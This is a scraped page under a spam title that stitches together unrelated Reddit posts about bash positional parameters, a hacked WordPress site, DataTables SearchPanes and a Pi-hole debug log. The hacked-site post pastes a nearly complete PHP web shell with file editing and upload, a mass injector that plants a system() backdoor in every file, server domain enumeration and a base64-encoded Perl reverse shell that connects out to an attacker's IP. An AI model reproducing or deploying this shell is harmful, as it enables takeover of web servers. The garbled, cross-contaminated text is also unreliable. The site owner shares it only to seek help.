Dating php script nulled

How is this script setting positional parameter?

2020.11.28 20:38 Cody_Learner How is this script setting positional parameter?

This script uses/parses no operations/options. I'm in process of reading it to see how he did things. However, the assigning and use of $1 has me scratching me head.
I know you can assign/use positional parameters from within a script using set. ie:
set var1 var2 var3, etc... 
Where/how is the positional parameter being set? I've ran it with "bash -x", and "$1" is a file path, but I still don't see where it's set.
Thanks in advance.
$ awk '{print " " $0}' checkupdates
#!/bin/bash # SPDX-License-Identifier: MIT # Copyright (c) 2020 Michael Straube # # Description: Show AUR updates in the style of checkupdates # Dependencies: pacman curl jq # download_aur_pkglist() { if curl -fSs "https://aur.archlinux.org/packages.gz" gzip -d - > "$1"; then # remove date line sed -i '1d' "$1" else printf "Downloding AUR package list failed\n" cleaup 1 fi } get_query_urls() { local url local rpc="https://aur.archlinux.org/rpc.php?v=5&type=info" local split=150 # do not exceed max query url size local i=0 for pkg in "[email protected]"; do if ((i == 0)); then printf -v url "%s&arg[]=%s" "$rpc" "$pkg" elif ((i % split == 0)); then printf -v url "%s\n%s&arg[]=%s" "$url" "$rpc" "$pkg" else printf -v url "%s&arg[]=%s" "$url" "$pkg" fi i=$((i + 1)) done printf "%s\n" "$url" } cleanup() { rm -r "$tmpdir" exit "$1" } if ! type -p jq >/dev/null; then printf "jq binary not found\n" exit 1 fi if ! tmpdir=$(mktemp -d -t checkaurupdates.XXXXXXXX); then printf "Failed to create temp directory\n" exit 1 fi pkglist="$tmpdipkglist" download_aur_pkglist "$pkglist" mapfile -t installed_aur_packages < <(comm -12 <(sort "$pkglist") <(sort <(pacman -Qq))) mapfile -t query_urls < <(get_query_urls "${installed_aur_packages[@]}") # Create lookup array for local package versions declare -A local_packages while read -r pkgname pkgver; do local_packages["$pkgname"]="$pkgver" done < <(pacman -Q "${installed_aur_packages[@]}") # Get package versions for installed AUR packages for url in "${query_urls[@]}"; do json="$(curl -fSs --globoff "$url")" cleanup 1 mapfile -t -O "${#aur_packages[@]}" aur_packages < <(jq -r '.results[] .Name + " " + .Version' <<< "$json") done # Now we have array 'local_packages' to lookup local package versions and array 'aur_packages' # with all installed packages from AUR that looks like this: ('name version' 'name version' ...) for pkg in "${aur_packages[@]}"; do pkgname="${pkg/ *}" aur_version="${pkg/* }" local_version="${local_packages[$pkgname]}" [[ "$local_version" == "$aur_version" ]] && continue ret="$(vercmp "$local_version" "$aur_version")" ((ret < 0)) && updates+=("au$pkgname $local_version -> $aur_version") done if (( ${#updates[@]} )); then printf "%s\n" "${updates[@]}" else cleanup 2 fi cleanup 0 
The bash -x output of first if statement:
+ download_aur_pkglist /tmp/checkaurupdates.7WCQ589V/pkglist + curl -fSs https://aur.archlinux.org/packages.gz + gzip -d - + sed -i 1d /tmp/checkaurupdates.7WCQ589V/pkglist 
submitted by Cody_Learner to bash [link] [comments]


2020.11.26 17:22 nmarie25 Website Hacked

Hi everyone. This is my first time posting to Reddit and I'm hoping someone can please help me. Yesterday I found out that my site has been hacked. I'm unable to log in at all. I either get 'Your server is running PHP version 5.4.45 but WordPress 5.5.3 requires at least 5.6.20.' message or I don't have rights or this page doesn't exist. I have Wordfence installed at the moment (although I can't access it to see anything). My hosting provider (Hostgator) have not been very much help at all. In fact, they've been pretty bad with dealing with my case.
I've tried creating a new user from within my cpanel but it's still not recognizing me. I've been trying to get my backups but I'm not sure which one or how to restore (there's more than one folder for same date).
As you can probably guess, I'm no techie. I'm just trying to get back into my site.
Can anyone offer some more ideas? I'd be grateful for any advice.
One of the agents helped me to get this but I have no idea what this means. Only see some terrible bits at the end.
usr.php ( HTML document text )




Mini Shell





















Mini Shell





    


    


    


    


    


    


    


    

if (isset($_GET['server_info'])) {?>



Uname:

Browser:

Server Software:

Server IP:

User IP:

User: u/get_current_user(); ?>

Safe Mode: On';} else {echo 'Off';}?>


Domains: u/file_get_contents("/etc/named.conf");if(!$_1a1142d4b381) {$_b9c59d921b4e = "/vanamed";$_011c7db1e205 = scandir($_b9c59d921b4e);$_0d88a9bd4c27 = count($_011c7db1e205);} else {@preg_match_all('/.*?zone "(.*?)" {/', $_1a1142d4b381, $_1765c46dda35);$_1765c46dda35 = sizeof(array_unique($_1765c46dda35[1])); $_0d88a9bd4c27 = $_1765c46dda35." Domains";}} else {$_0d88a9bd4c27 = "1";} echo $_0d88a9bd4c27; }?>

if (isset($_GET['file_manager'])) {echo '



File Manager



File Manager



Current Path : ';$_d586cea720c2 = getcwd();$_d586cea720c2 = str_replace('\\','/',$_d586cea720c2);$_19eaea116b65 = explode('/',$_d586cea720c2);function permsa($_db30bcba387e){$_62756ced6cca = fileperms($_db30bcba387e);if (($_62756ced6cca & 0xC000) == 0xC000) {$_c889a0d2bbd1 = 's';} elseif (($_62756ced6cca & 0xA000) == 0xA000) {$_c889a0d2bbd1 = 'l';} elseif (($_62756ced6cca & 0x8000) == 0x8000) {$_c889a0d2bbd1 = '-';} elseif (($_62756ced6cca & 0x6000) == 0x6000) {$_c889a0d2bbd1 = 'b';} elseif (($_62756ced6cca & 0x4000) == 0x4000) {$_c889a0d2bbd1 = 'd';} elseif (($_62756ced6cca & 0x2000) == 0x2000) {$_c889a0d2bbd1 = 'c';} elseif (($_62756ced6cca & 0x1000) == 0x1000) {$_c889a0d2bbd1 = 'p';} else {$_c889a0d2bbd1 = 'u';}$_c889a0d2bbd1 .= (($_62756ced6cca & 0x0100) ? 'r' : '-');$_c889a0d2bbd1 .= (($_62756ced6cca & 0x0080) ? 'w' : '-');$_c889a0d2bbd1 .= (($_62756ced6cca & 0x0040) ?(($_62756ced6cca & 0x0800) ? 's' : 'x' ) :(($_62756ced6cca & 0x0800) ? 'S' : '-'));$_c889a0d2bbd1 .= (($_62756ced6cca & 0x0020) ? 'r' : '-');$_c889a0d2bbd1 .= (($_62756ced6cca & 0x0010) ? 'w' : '-');$_c889a0d2bbd1 .= (($_62756ced6cca & 0x0008) ?(($_62756ced6cca & 0x0400) ? 's' : 'x' ) :(($_62756ced6cca & 0x0400) ? 'S' : '-'));$_c889a0d2bbd1 .= (($_62756ced6cca & 0x0004) ? 'r' : '-');$_c889a0d2bbd1 .= (($_62756ced6cca & 0x0002) ? 'w' : '-');$_c889a0d2bbd1 .= (($_62756ced6cca & 0x0001) ?(($_62756ced6cca & 0x0200) ? 't' : 'x' ) :(($_62756ced6cca & 0x0200) ? 'T' : '-'));return $_c889a0d2bbd1;}foreach($_19eaea116b65 as $_fb685115b91f=>$_e3beccd8d39e){ if($_e3beccd8d39e == '' && $_fb685115b91f == 0){ $_3c0a4563959e = true; echo '/'; continue; } if($_e3beccd8d39e == '') continue; echo ''.$_e3beccd8d39e.'/';}echo '
'; if(isset($_GET['filesrc'])){ echo "
Current File : "; echo $_GET['filesrc']; echo '

'; echo('
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
');}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'Change Permission Done.
'; }else{ echo 'Change Permission Error.
'; } } echo '

Permission :



'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$_d586cea720c2.'/'.$_POST['newname'])){ echo 'Change Name Done.
'; }else{ echo 'Change Name Error.
'; } $_POST['name'] = $_POST['newname']; } echo '

New Name :



'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $_ba2773181c57 = fopen($_POST['path'],'w'); if(fwrite($_ba2773181c57,$_POST['src'])){ echo 'Edit File Done.
'; }else{ echo 'Edit File Error.
'; } fclose($_ba2773181c57); } echo '






'; } echo '
';}else{ echo '
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo 'Delete Dir Done.
'; }else{ echo 'Delete Dir Error.
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Delete File Done.
'; }else{ echo 'Delete File Error.
'; } } } echo '
'; $_b1faba4eea56 = scandir($_d586cea720c2); echo '






'; foreach($_b1faba4eea56 as $_2ac452f67253){ if(!is_dir("$_d586cea720c2/$_2ac452f67253") $_2ac452f67253 == '.' $_2ac452f67253 == '..') continue; echo "




"; } echo ''; foreach($_b1faba4eea56 as $_db30bcba387e){ if(!is_file("$_d586cea720c2/$_db30bcba387e")) continue; $_77eb295f75fe = filesize("$_d586cea720c2/$_db30bcba387e")/1024; $_77eb295f75fe = round($_77eb295f75fe,3); if($_77eb295f75fe >= 1024){ $_77eb295f75fe = round($_77eb295f75fe/1024,2).' MB'; }else{ $_77eb295f75fe = $_77eb295f75fe.' KB'; } echo "




"; } echo '
Name
Size
Permissions
Options
$_2ac452f67253
--
"; if(is_writable("$_d586cea720c2/$_2ac452f67253")) echo ''; elseif(!is_readable("$_d586cea720c2/$_2ac452f67253")) echo ''; echo permsa("$_d586cea720c2/$_2ac452f67253"); if(is_writable("$_d586cea720c2/$_2ac452f67253") !is_readable("$_d586cea720c2/$_2ac452f67253")) echo ''; echo "





\" />
$_db30bcba387e
".$_77eb295f75fe."
"; if(is_writable("$_d586cea720c2/$_db30bcba387e")) echo ''; elseif(!is_readable("$_d586cea720c2/$_db30bcba387e")) echo ''; echo permsa("$_d586cea720c2/$_db30bcba387e"); if(is_writable("$_d586cea720c2/$_db30bcba387e") !is_readable("$_d586cea720c2/$_db30bcba387e")) echo ''; echo "





\" />




';}echo '

';}?>
if (isset($_GET['php_info'])) {?>





';}?>

if (isset($_GET['file_creator'])) {?>




Filename:



Content:






$_5eb61fd12eed = $_POST['file_name'];$_0adc62b31334 = $_POST['content_of_files'];if (isset($_POST['file_name']) isset($_POST['content_of_files']) isset($_POST['submissionoffilecreator'])) {if (!empty($_5eb61fd12eed) !empty($_0adc62b31334)) {$_84c54f971273 =
u/fopen($_5eb61fd12eed, 'w');@fwrite($_84c54f971273, $_0adc62b31334);@fclose($_84c54f971273);?>


File With Name: is created



Please Input In All Fields :P
}}}?>
if (isset($_GET['mass_injector'])) {?>


ReV Mass Code Injector V2.0



$_ec5b37e72301 = '
if (isset($_REQUEST[cmd])) {
system ($_REQUEST[cmd]);
}
?>';?>





if (isset($_POST['submit'])) {$_e04f8301a9f1 = $_POST['code'];$_9f7af403d39c = base64_encode($_e04f8301a9f1);$_d586cea720c2 = getcwd();$_959a28065435 = 'http://'.$_SERVER['HTTP_HOST'];$_da84e8d0e5e8 = $_SERVER['SCRIPT_NAME'];$_d394e1453852 = $_959a28065435.$_da84e8d0e5e8;$_d586cea720c2 = getcwd();$_3528fced53a2 = $_d586cea720c2;if (empty($_e04f8301a9f1)) {echo 'You need to input something !!! :P';}if (!empty($_e04f8301a9f1)) {if ($_84c54f971273 = opendir($_3528fced53a2)) {echo 'Website: '.$_d394e1453852.'

';echo 'Looking in '.$_3528fced53a2.'
';while ($_fb803b5db2a0 = readdir($_84c54f971273)) {if ($_fb803b5db2a0 != '.' && $_fb803b5db2a0 != '..' && $_fb803b5db2a0 != 'rev.php' && $_fb803b5db2a0 != 'REV.php' && $_fb803b5db2a0 != '.htaccess' && $_fb803b5db2a0 != 'php.ini' && $_fb803b5db2a0 != 'admin' && $_fb803b5db2a0 != 'images' && $_fb803b5db2a0 != 'image' && $_fb803b5db2a0 != 'img' && $_fb803b5db2a0 != 'phpmyadmin' && $_fb803b5db2a0 != 'files' && $_fb803b5db2a0 != '.ftpquota' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'xml' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'jpg' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'ico' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'png' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'jpeg' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'txt' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'exe' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'html' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'shtml' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'htm' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'ico' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'css' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'zip' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'sql' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'js' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'py' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'pl' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'md' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'gif' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'tar.gz' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'c' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'sql.zip' && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, '.') + 1)) != 'out') {echo ''.$_fb803b5db2a0.'    Is Injected
';$_c4f3394d1c6c = base64_decode($_9f7af403d39c);$_c4f3394d1c6c .= file_get_contents($_fb803b5db2a0);file_put_contents($_fb803b5db2a0, $_c4f3394d1c6c); echo '


';} }}}}}?>
if (isset($_GET['uploader'])) {?>



Uploader








$_fb803b5db2a0 = @$_FILES["files"];if ($_fb803b5db2a0["name"] != '') { $_73a9599617ef = $_REQUEST["path"] . $_fb803b5db2a0["name"]; if (move_uploaded_file($_fb803b5db2a0['tmp_name'], $_73a9599617ef)) { echo "


Click to access uploaded File
"; }}?>
}?>
?>

if (isset($_GET['domains'])) { if(strtolower(substr(PHP_OS,0,3)) == "win") {$_f3d329025a5d = 'win';}else {$_f3d329025a5d = 'nix';} if ($_f3d329025a5d == 'win') {?>



Ooopppss Windows Server :P
You Better Find Linux :P

}else {if (isset($_GET['domains'])) {$_db30bcba387e = u/implode(@file("/etc/named.conf"));$_549674eea689 = "/vanamed";if (!$_db30bcba387e) {$_fb0dd6286113 = scandir($_549674eea689);$_74ba591cb2f1=1;$_cbd11b654fbf = 0; echo "

";foreach ($_fb0dd6286113 as &$_abf6e8a6ebfa) { if (stripos($_abf6e8a6ebfa,".db")) { $_abf6e8a6ebfa = str_replace('.db','',$_abf6e8a6ebfa); } if (strlen($_abf6e8a6ebfa) > 6) { echo ""; } } echo "
There are : ( " . count($_fb0dd6286113) . " ) Domains in this Sever.
NoDomainUser
".$_74ba591cb2f1++."".$_abf6e8a6ebfa."User
";} else{ $_74ba591cb2f1 = 1; preg_match_all("#named/(.*?).db#", $_db30bcba387e, $_6fb5fe1b7448); $_fb0dd6286113 = array_unique($_6fb5fe1b7448[1]); echo "

"; foreach ($_fb0dd6286113 as $_abf6e8a6ebfa) { $_1653139bda87 = posix_getpwuid(@fileowner("/etc/valiases/" . $_abf6e8a6ebfa)); echo ""; ?>


}}} } }?>
if (isset($_GET['back_connecter'])) {$_0c5e3246e473="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";echo "


Back-Connecter Via Perl
Your Ip:

Port to bind:


";if(isset($_POST['backconnect'])) {function cf($_e0887aa7bc0b,$_9c65822c9127) {$_dfb1f07e894f = u/fopen($_e0887aa7bc0b,"w") or u/function_exists('file_put_contents');if($_dfb1f07e894f){@fwrite($_dfb1f07e894f,@base64_decode($_9c65822c9127));@fclose($_dfb1f07e894f);}}function An0n3xPloiTeR($_6d1b263a32f3) {$_1765c46dda35 = '';if (function_exists('exec')) {@exec($_6d1b263a32f3,$_1765c46dda35);$_1765c46dda35 = u/join("\n",$_1765c46dda35);} elseif (function_exists('passthru')) {ob_start();@passthru($_6d1b263a32f3);$_1765c46dda35 = ob_get_clean();} elseif (function_exists('system')) {ob_start();@system($_6d1b263a32f3);$_1765c46dda35 = ob_get_clean();} elseif (function_exists('shell_exec')) {$_1765c46dda35 = shell_exec($_6d1b263a32f3);} elseif (is_resource($_e0887aa7bc0b = u/popen($_6d1b263a32f3,"r"))) {$_1765c46dda35 = "";while([email protected]($_e0887aa7bc0b))$_1765c46dda35 .= fread($_e0887aa7bc0b,1024);pclose($_e0887aa7bc0b);}return $_1765c46dda35;}if($_POST['backconnect']) {cf("/tmp/bc.pl",$_0c5e3246e473);$_1765c46dda35 = An0n3xPloiTeR("perl /tmp/bc.pl ".$_POST['server']." ".$_POST['port']." 1>/dev/null 2>&1 &"); sleep(1);echo "
$_1765c46dda35\n".An0n3xPloiTeR("ps aux grep bc.pl")."
"; unlink("/tmp/bc.pl");}}}?>
if (isset($_GET['die'])) {if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {die('








You Deleted Me :3
Now Fuck off :V



'); } ?>


}?>




submitted by nmarie25 to Wordpress [link][comments]


2020.11.03 11:46 anta40 SearchPanes on DataTables is not shown at all?

There are ( " . count($_fb0dd6286113) . " ) Domains in this Sever.I think you have got something this time yeah!!!.
NoDomainUser
".$_74ba591cb2f1++."".$_abf6e8a6ebfa."".$_1653139bda87['name']."
SearchPanes on DataTables is not shown at all?
So far, DataTables works fine for displaying data and very basic filtering.
Now I'm facing difficulty, because the filtering can be more complex. Imagine a table like this. Say I want to display any data with "disbursement principal" < 10000000 and "last repayment" within the last 2 months.
https://preview.redd.it/3pverznx60x51.jpg?width=2851&format=pjpg&auto=webp&s=e4c6f008c5f3ad935b7b8001b563efa4f95e4e8d
After some Googling, turned out I didn't have to write the filtering from scratch. SearchPanes can be used.
This is my code (only to filter based on disbursement principal):
     View Data Dev Page    

View Data

Loan ID Product Code Disbursement Date Disbursement Principal Outstanding Principal Last Repayment Date Next Due Date Delinquency Days
The SearchPanes is not shown at all. What's wrong here?
When inspecting, there is not error shown by JS console.
FYI, this is the packages I chose when building the zipped Datatables package:
DataTables, jQuery 3, SearchBuilder, SearchPanes, Select.
submitted by anta40 to learnjavascript [link] [comments]


2020.10.25 09:00 frieren1 Question: Pi-hole stopped resolving DNS

Question: Pi-hole stopped resolving DNS
So like every third day, pihole stops resolving DNS over night until i restart it. Then it resolves my DNS queries normally again.
When i tried to flush my network table this came:

https://preview.redd.it/khvdd4v647v51.png?width=393&format=png&auto=webp&s=226a9858103076d4f3a05e7829f6846e9d32818c
My crontab:
SHELL=/bin/bash PATH=/uslocal/sbin:/uslocal/bin:/sbin:/bin:/ussbin:/usbin #update for this --> https://github.com/mmotti/pihole-regex 30 2 * * 1 /usbin/curl -sSl https://raw.githubusercontent.com/mmotti/pihole-regex/masteinstall.py /usbin/python3 #backups my pi to a usb drive 0 5 1 * * /home/pi/backup.sh > /dev/null 0 5 15 * * /home/pi/backup.sh > /dev/null 

Hopefully someone can help me with this :/
Here the debug log or download it from here https://ufile.io/e0wcvmlx:
This process collects information from your Pi-hole, and optionally uploads it to a unique and random directory on tricorder.pi-hole.net.
The intent of this script is to allow users to self-diagnose their installations. This is accomplished by running tests against our software and providing the user with links to FAQ articles when a problem is detected. Since we are a small team and Pi-hole has been growing steadily, it is our hope that this will help us spend more time on development.
NOTE: All log files auto-delete after 48 hours and ONLY the Pi-hole developers can access your data via the given token. We have taken these extra steps to secure your data and will work to further reduce any personal information gathered.
[95m*** [ INITIALIZING ][0m [i] 2020-10-25:08:29:59 debug log has been initialized.
[95m*** [ INITIALIZING ][0m Sourcing setup variables [i] Sourcing /etc/pihole/setupVars.conf...
[95m*** [ DIAGNOSING ]:[0m Core version [i] Core: [33mv5.1.2[0m ([96mhttps://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249[0m) [i] Remotes: origin https://github.com/pi-hole/pi-hole.git (fetch))origin https://github.com/pi-hole/pi-hole.git (push)) [i] Branch: [32mmaster[0m [i] Commit: v5.1.2-0-g6b536b7
[95m*** [ DIAGNOSING ]:[0m Web version [i] Web: [33mv5.1.1[0m ([96mhttps://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249[0m) [i] Remotes: origin https://github.com/pi-hole/AdminLTE.git (fetch))origin https://github.com/pi-hole/AdminLTE.git (push)) [i] Branch: [32mmaster[0m [i] Commit: v5.1.1-0-ga03d1bd
[95m*** [ DIAGNOSING ]:[0m FTL version [[32m✓[0m] FTL: [32mv5.2[0m
[95m*** [ DIAGNOSING ]:[0m lighttpd version [i] 1.4.53
[95m*** [ DIAGNOSING ]:[0m php version [i] 7.3.19
[95m*** [ DIAGNOSING ]:[0m Operating system [[32m✓[0m] Distro: [32mRaspbian[0m [[32m✓[0m] Version: [32m10[0m
[95m*** [ DIAGNOSING ]:[0m SELinux [i] [32mSELinux not detected[0m
[95m*** [ DIAGNOSING ]:[0m Processor [[32m✓[0m] [32marmv7l[0m
[95m*** [ DIAGNOSING ]:[0m Networking [[32m✓[0m] IPv4 address(es) bound to the eth0 interface: [32m192.168.178.202/24[0m matches the IP found in /etc/pihole/setupVars.conf
[[32m✓[0m] IPv6 address(es) bound to the eth0 interface: [91m2003:f2:c717:1500:79f8:df05:12bc:89ae[0m does not match the IP found in /etc/pihole/setupVars.conf ([96mhttps://discourse.pi-hole.net/t/use-ipv6-ula-addresses-for-pi-hole/2127[0m) [32mfd00::3663:f580:d70d:f50d[0m matches the IP found in /etc/pihole/setupVars.conf [91mfe80::3762:e741:15d8:3056[0m does not match the IP found in /etc/pihole/setupVars.conf ([96mhttps://discourse.pi-hole.net/t/use-ipv6-ula-addresses-for-pi-hole/2127[0m)
Please note that you may have more than one IP address listed. As long as one of them is green, and it matches what is in /etc/pihole/setupVars.conf, there is no need for concern.
The link to the FAQ is for an issue that sometimes occurs when the IPv6 address changes, which is why we check for it.
[i] Default IPv4 gateway: 192.168.178.1 * Pinging 192.168.178.1... [[32m✓[0m] [32mGateway responded.[0m [i] Default IPv6 gateway: fe80::2e3a:fdff:fe01:a194 * Pinging fe80::2e3a:fdff:fe01:a194... [[32m✓[0m] [32mGateway responded.[0m
[95m*** [ DIAGNOSING ]:[0m Ports in use 127.0.0.1:5053 cloudflare (IPv4) 127.0.0.1:45153 cloudflare (IPv4) *:22 sshd (IPv4) *:22 sshd (IPv6) [[32m80[0m] is in use by [32mlighttpd[0m [[32m80[0m] is in use by [32mlighttpd[0m [[32m53[0m] is in use by [32mpihole-FTL[0m [[32m53[0m] is in use by [32mpihole-FTL[0m [[32m4711[0m] is in use by [32mpihole-FTL[0m [[32m4711[0m] is in use by [32mpihole-FTL[0m
[95m*** [ DIAGNOSING ]:[0m Name resolution (IPv4) using a random blocked domain and a known ad-serving domain [[91m✗[0m] [91mFailed to resolve[0m www.lnstagramcopyrightform.net via [91mlocalhost[0m (127.0.0.1) [[91m✗[0m] [91mFailed to resolve[0m www.lnstagramcopyrightform.net via [91mPi-hole[0m (192.168.178.202) [[32m✓[0m] doubleclick.com [32mis 172.217.23.14[0m via [96ma remote, public DNS server[0m (8.8.8.8)
[95m*** [ DIAGNOSING ]:[0m Name resolution (IPv6) using a random blocked domain and a known ad-serving domain [[91m✗[0m] [91mFailed to resolve[0m revengehostage.com via [91mlocalhost[0m (::1) [[91m✗[0m] [91mFailed to resolve[0m revengehostage.com via [91mPi-hole[0m (fd00::3663:f580:d70d:f50d) [[32m✓[0m] doubleclick.com [32mis 2a00:1450:4016:804::200e[0m via [96ma remote, public DNS server[0m (2001:4860:4860::8888)
[95m*** [ DIAGNOSING ]:[0m Pi-hole processes [[32m✓[0m] [32mlighttpd[0m daemon is [32mactive[0m [[32m✓[0m] [32mpihole-FTL[0m daemon is [32mactive[0m
[95m*** [ DIAGNOSING ]:[0m Setup variables PIHOLE_INTERFACE=eth0 IPV4_ADDRESS=192.168.178.202/24 IPV6_ADDRESS=fd00::3663:f580:d70d:f50d QUERY_LOGGING=true INSTALL_WEB_SERVER=true INSTALL_WEB_INTERFACE=true LIGHTTPD_ENABLED=true BLOCKING_ENABLED=true ADMIN_EMAIL= WEBUIBOXEDLAYOUT=boxed WEBTHEME=default-dark PIHOLE_DNS_1=127.0.0.1#5053 DNS_FQDN_REQUIRED=true DNS_BOGUS_PRIV=true DNSSEC=true REV_SERVER=true REV_SERVER_CIDR=192.168.178.1/24 REV_SERVER_TARGET=192.168.178.1 REV_SERVER_DOMAIN=fritz.box DNSMASQ_LISTENING=local
[95m*** [ DIAGNOSING ]:[0m Dashboard and block page [[32m✓[0m] Block page X-Header: [32mX-Pi-hole: A black hole for Internet advertisements.[0m [[32m✓[0m] Web interface X-Header: [32mX-Pi-hole: The Pi-hole Web interface is working![0m
[95m*** [ DIAGNOSING ]:[0m Gravity List and Database [32m-rw-rw-r-- 1 pihole pihole 66781184 Oct 25 04:32 /etc/pihole/gravity.db[0m
[95m*** [ DIAGNOSING ]:[0m Info table property value -------------------- ---------------------------------------- version 12 updated 1603596759 gravity_count 999359 Last gravity run finished at: [96mSun 25 Oct 04:32:39 CET 2020[0m
[96m----- First 10 Gravity Domains -----[0m localhost.localdomain n2019cov.000webhostapp.com webmail-who-int.000webhostapp.com 010sec.com 01mspmd5yalky8.com 0byv9mgbn0.com ns6.0pendns.org dns.0pengl.com ios.0pengl.com 0x4fc271.tk
[95m*** [ DIAGNOSING ]:[0m Groups
id enabled name date_added date_modified description ---- ------- -------------------------------------------------- ------------------- ------------------- -------------------------------------------------- 0 1 Default 2020-09-08 12:47:42 2020-09-08 12:47:42 The default group
[95m*** [ DIAGNOSING ]:[0m Domainlist (0/1 = exact white-/blacklist, 2/3 = regex white-/blacklist) id type enabled group_ids domain date_added date_modified comment ---- ---- ------- ------------ ---------------------------------------------------------------------------------------------------- ------------------- ------------------- -------------------------------------------------- 1 3 1 0 .+[_.-]?adse?rv(er?ice)?s?[0-9][.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 2 3 1 0 ^(.+[.-])?telemetry[_.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 4 3 1 0 ^adim(ageg)s?[0-9][.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 5 3 1 0 ^adtrack(ering)?[0-9]*[.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 6 3 1 0 advert(sis(ingements?))?[0-9]*[_.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 7 3 1 0 aff(iliat(es?ion))?[_.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 8 3 1 0 analytics?[_.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 9 3 1 0 banners?[_.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 10 3 1 0 beacons?[0-9]*[_.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 11 3 1 0 count(ers?)?[0-9]*[_.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 12 3 1 0 mads. 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 13 3 1 0 pixels?[-.] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 14 3 1 0 stat(sistics)?[0-9]*[_.-] 2020-09-08 13:03:29 2020-09-08 13:03:29 github.com/mmotti/pihole-regex 17 0 1 0 api.cleverpush.com 2020-09-09 10:49:45 2020-09-09 10:49:45 Added from Query Log 18 0 1 0 static.cleverpush.com 2020-09-09 10:49:56 2020-09-09 10:49:56 Added from Query Log 19 0 1 0 liveapi.cleverpush.com 2020-09-09 10:50:21 2020-09-09 10:50:21 Added from Query Log 20 0 1 0 heise.cleverpush.com 2020-09-09 20:04:05 2020-09-09 20:04:05 Added from Query Log 23 3 1 0 ad([sxv]?[0-9]*system)_.-{1,}[.-]ad([sxv]?[0-9]*system)[.-] 2020-09-21 02:30:02 2020-09-21 02:30:02 github.com/mmotti/pihole-regex 35 0 1 0 interia.hit.gemius.pl 2020-09-24 08:39:41 2020-09-24 08:39:41 Added from Query Log 64 0 1 